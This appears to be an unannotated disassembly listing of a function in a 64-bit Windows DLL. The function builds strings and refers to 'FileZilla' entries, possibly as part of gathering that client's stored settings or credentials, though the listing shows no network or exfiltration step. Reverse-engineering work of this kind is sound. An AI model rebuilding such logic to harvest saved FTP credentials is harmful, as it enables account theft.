movups xmmword [rbp + 0x120], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp + 8], 0x10
mov r8, qword [rbp]
cmovae rdx, qword [rbp - 0x10]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f50]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x100], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp + 0xf0]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f54]
lea rcx, [rbp + 0xd0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800b8790
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0xb0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
cmp qword [rbp - 0x58], 0x10
mov r8, qword [rbp - 0x60]
cmovae rdx, qword [rbp - 0x70]
call fcn.1800b8790
mov r8d, 2
lea rdx, [0x180103f64]
lea rcx, [rbp + 0x90]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x90], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xa0], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800b8790
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rax, [rbp + 0x130]
movups xmmword [rbp + 0x150], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x170], xmm1
movups xmmword [rbp + 0x140], xmm1
cmp r14, rax
je 0x1800a837c
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x1800a8371
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x1800a835e
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800a8a7a
mov rcx, r8
call fcn.1800c1180
movups xmm0, xmmword [rbp + 0x150]
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm1
jmp 0x1800a83bd
mov rdx, qword [rbp + 0x148]
cmp rdx, 0x10
jb 0x1800a83bd
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a83b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x1800a83fe
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a83f9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
cmp rdx, 0x10
jb 0x1800a8458
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a8453
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xc0], rdi
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
cmp rdx, 0x10
jb 0x1800a84b2
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a84ad
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0xe0], rdi
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], 0
cmp rdx, 0x10
jb 0x1800a850c
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a8507
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp + 0x128]
mov qword [rbp + 0x100], rdi
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], 0
cmp rdx, 0x10
jb 0x1800a8566
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a8561
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp - 0x38]
mov qword [rbp + 0x120], rdi
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], 0
cmp rdx, 0x10
jb 0x1800a85ba
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a85b5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp - 0x18]
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
cmp rdx, 0x10
jb 0x1800a8605
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a8600
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp - 0x78]
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
cmp rdx, 0x10
jb 0x1800a8651
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a864c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rsp + 0x48]
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1800a869f
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a869a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rdx, qword [rbp + 0x68]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
cmp rdx, 0x10
jb 0x1800a86ed
mov rcx, qword [rbp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800a86e8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800a8a7a
call fcn.1800c1180
mov rax, qword [r15 + 0x18]
mov rcx, r15
cmp rax, 0x10
jb 0x1800a86fd
mov rcx, qword [r15]
cmp qword [r15 + 0x10], 1
jne 0x1800a870d
cmp byte [rcx], 0x31
jne 0x1800a870d
mov al, 1
jmp 0x1800a870f
xor al, al
test al, al
je 0x1800a88fb
mov rdx, qword [r14 + 0x10]
lea rcx, [rsp + 0x30]
add rdx, 3
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
call fcn.1800ba640
cmp qword [r14 + 0x18], 0x10
mov rdx, r14
jb 0x1800a8749
mov rdx, qword [r14]
mov r8, qword [r14 + 0x10]
lea rcx, [rsp + 0x30]
call fcn.1800b8790
mov r8d, 3
lea rdx, [0x18010487c]
lea rcx, [rsp + 0x30]
call fcn.1800b8790
mov r8d, 1
lea rdx, [0x180103f5c]
lea rcx, [rsp + 0x30]
call fcn.1800b8790
lea r8, str.FileZilla
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x150]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.1800b9500
mov rdx, rax
lea r8, [0x180103f5c]
lea rcx, [rbp + 0x170]
call fcn.1800b9500
mov rdx, rax
lea r8, [rbp + 0x10]
lea rcx, [rbp + 0x50]
call fcn.1800b9440
mov rdx, rax
lea r8, [0x180104868]
lea rcx, [rbp + 0x90]
call fcn.1800b9500
mov rdx, rax
lea r8, [rbp + 0x30]
lea rcx, [rbp + 0xb0]
call fcn.1800b9440
mov rdx, rax
lea r8, [0x180103f5c]
lea rcx, [rbp + 0xd0]
call fcn.1800b9500
mov rdx, rax
lea r8, [rbp - 0x10]
lea rcx, [rbp + 0xf0]
call fcn.1800b9440
mov rdx, rax
lea r8, [0x180103f5c]
lea rcx, [rbp + 0x110]
call fcn.1800b9500
mov rdx, rax
lea r8, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.1800b9440
mov rdx, rax
lea r8, [0x180103f58]
lea rcx, [rbp - 0x30]
call fcn.1800b9500
mov rdx, rax
mov rcx, r14
call fcn.1800b8890
lea rcx, [rbp - 0x30]
call fcn.1800b8830
lea rcx, [rbp - 0x50]
call fcn.1800b8830
lea rcx, [rbp + 0x110]
call fcn.1800b8830
lea rcx, [rbp + 0xf0]
call fcn.1800b8830
lea rcx, [rbp + 0xd0]
call fcn.1800b8830
lea rcx, [rbp + 0xb0]
call fcn.1800b8830
lea rcx, [rbp + 0x90]
call fcn.1800b8830
lea rcx, [rbp + 0x50]
call fcn.1800b8830
lea rcx, [rbp + 0x170]
call fcn.1800b8830
lea rcx, [rbp + 0x150]
call fcn.1800b8830
lea rcx, [rsp + 0x70]
call fcn.1800b8830
lea rcx, [rsp + 0x30]
call fcn.1800b8830
lea rdx, [0x1800f99d0]
lea rcx, [rbp + 0x10]
call fcn.1800b8810
lea rdx, [0x1800f99d0]
lea rcx, [rbp - 0x10]
call fcn.1800b8810
lea rdx, [0x1800f99d0]
lea rcx, [rbp + 0x30]
call fcn.1800b8810
lea rdx, [0x1800f99d0]
lea rcx, [rbp - 0x70]
call fcn.1800b8810
inc r13d
lea rcx, [rsp + 0x50]
call fcn.1800b8830
lea rbx, [0x18011abe0]
mov rcx, r12
call fcn.1800cc0f0
test eax, eax
je 0x1800a7170
mov rcx, r12
call fcn.1800c92e8
lea rdx, [0x1800f97c8]
mov rcx, r15
call fcn.1800b93f0
test al, al
je 0x1800a8a14
mov edx, r13d
lea rcx, [rbp - 0x50]
call fcn.1800895f0
mov r8, rax
lea rdx, str.FileZilla__
lea rcx, [rbp - 0x30]
call fcn.1800b94a0
mov rdx, rax
lea r8, [0x180103f68]
lea rcx, [rsp + 0x70]
call fcn.1800b9500
mov rdx, rax
lea r8, [0x180103f64]
lea rcx, [rsp + 0x30]
call fcn.1800b9500
mov rdx, rax
lea rcx, [rbp + 0x130]
mov r8, r14
call fcn.1800b9440
mov rdx, rax
mov rcx, r14
call fcn.1800b8890
lea rcx, [rbp + 0x130]
call fcn.1800b8830
lea rcx, [rsp + 0x30]
call fcn.1800b8830
lea rcx, [rsp + 0x70]
call fcn.1800b8830
lea rcx, [rbp - 0x30]
call fcn.1800b8830
lea rcx, [rbp - 0x50]
call fcn.1800b8830
lea rcx, [rbp + 0x70]
call fcn.1800b8830
lea rcx, [rbp + 0x30]
call fcn.1800b8830
lea rcx, [rbp - 0x70]
call fcn.1800b8830
lea rcx, [rbp - 0x10]
call fcn.1800b8830
lea rcx, [rbp + 0x10]
call fcn.1800b8830
mov rcx, r15
call fcn.1800b8830
mov rsi, qword [rsp + 0x3e0]
mov rax, r14
mov rbx, qword [rsp + 0x3d8]
mov r12, qword [rsp + 0x3e8]
add rsp, 0x3a0
pop r15
pop r14
pop r13
pop rdi
pop rbp
ret
call fcn.1800b91a0
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3
call fcn.180089550
int3
call fcn.1800cc350
int3
call fcn.1800cc350
int3